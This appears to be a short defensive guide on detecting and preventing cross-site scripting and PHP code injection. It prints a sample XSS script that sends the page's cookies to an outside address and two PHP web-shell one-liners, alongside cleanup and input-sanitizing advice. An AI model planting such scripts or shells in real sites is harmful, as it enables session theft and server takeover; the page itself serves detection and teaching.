Cross-Site Scripting (XSS) & Code Injection Detection

While inspecting HTTP requests, an unusual volume of requests directed to an unknown internal "server" may indicate potential XSS activity. For example, in some cases, this behavior could involve cookies or tokens being exfiltrated, although these values may be encoded or encrypted during transit.

Cross-Site Scripting (XSS)

XSS occurs when an attacker injects malicious JavaScript or script code into a webpage, typically through user input fields. When other users load the page, their browsers execute this code, allowing attackers to steal sensitive information like cookies, tokens, and session values.

Example of XSS Payload

In an XSS attack, injected code might resemble the following script in a user comment section:

<script>
  window.addEventListener("load", function() {
    const url = "http://192.168.0.19:5555";
    const params = "cookie=" + encodeURIComponent(document.cookie);
    const request = new XMLHttpRequest();
    request.open("GET", url + "?" + params);
    request.send();
  });
</script>

If detected, remove the injected script immediately, and consider temporarily taking down the server to resolve the vulnerability.

Code Injection

Attackers may also attempt to inject malicious code into fields that interpret PHP or other executable code. This tactic allows them to gain command and control over the server.

Examples of PHP Code Injection

  1. Command Execution with PHP:

    <?php system($_GET['cmd']); ?>
  2. Single Command Execution:

    <?php echo `whoami`; ?>

If detected, these code snippets should be removed immediately, and steps taken to prevent further injections.

Preventing XSS and Code Injection

To prevent XSS and code injection attacks:

  • Sanitize User Input: Filter and sanitize all inputs to disallow harmful scripts or commands.

  • Avoid Executing User Input as Code: Never process or interpret user-provided input as executable code, which could enable code execution vulnerabilities.

Last updated